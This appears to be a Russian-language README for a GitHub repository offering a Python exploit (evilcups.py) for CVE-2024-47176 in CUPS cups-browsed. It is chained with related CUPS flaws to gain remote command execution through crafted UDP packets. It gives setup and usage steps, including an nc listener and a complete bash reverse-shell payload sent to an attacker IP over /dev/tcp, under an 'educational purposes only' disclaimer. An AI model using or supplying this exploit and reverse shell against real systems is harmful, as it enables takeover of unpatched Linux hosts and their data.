
Эксплойт на Python для CVE-2024-47176, позволяющий удаленно выполнять команды в CUPS cups-browsed через специально созданные UDP-пакеты. Включает доставку полезной нагрузки reverse shell для авторизованного тестирования на проникновение.
Только для образовательных целей и авторизованного тестирования на проникновение.
CUPS (Common UNIX Printing System) — это открытая система печати, управляющая сетевыми принтерами. CVE-2024-47176 нацелен на демон cups-browsed, который привязывается к INADDR_ANY:631 и слепо доверяет пакетам от любого источника.
Создав вредоносный UDP-пакет, инициирующий IPP-запрос Get-Printer-Attributes, злоумышленник может заставить cups-browsed подключиться к контролируемому им серверу — и в сочетании с уязвимостями ниже добиться произвольного удаленного выполнения команд.
| Компонент | Условие |
|---|---|
cups-browsed | Прослушивает UDP 631 (по умолчанию) |
| CUPS < 2.4.11 | Неисправленные версии |
| Системы Linux с открытым CUPS | Порт 631 доступен для атакующего |
nmap (необязательно, для разведки)1. Клонируйте репозиторий:
git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176
2. Установите необходимую зависимость Python:
pip install ippserver
3. Запустите прослушиватель на вашей машине:
nc -lvnp <PORT>
./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"
Пример — обратная оболочка:
./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"
После запуска эксплойта инициируйте задание печати на цели (или дождитесь автоматической проверки), чтобы выполнить полезную нагрузку.
Этот репозиторий предназначен исключительно для образовательных целей и авторизованных исследований в области безопасности. Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным и неэтичным.
| CVE | Описание |
|---|
| CVE-2024-47176 | cups-browsed доверяет любому UDP-пакету на порту 631 |
| CVE-2024-47076 | libcupsfilters не санирует атрибуты IPP |
| CVE-2024-47175 | libppd внедряет несанированные данные в файлы PPD |
| CVE-2024-47177 | cups-filters позволяет выполнение команд через PPD |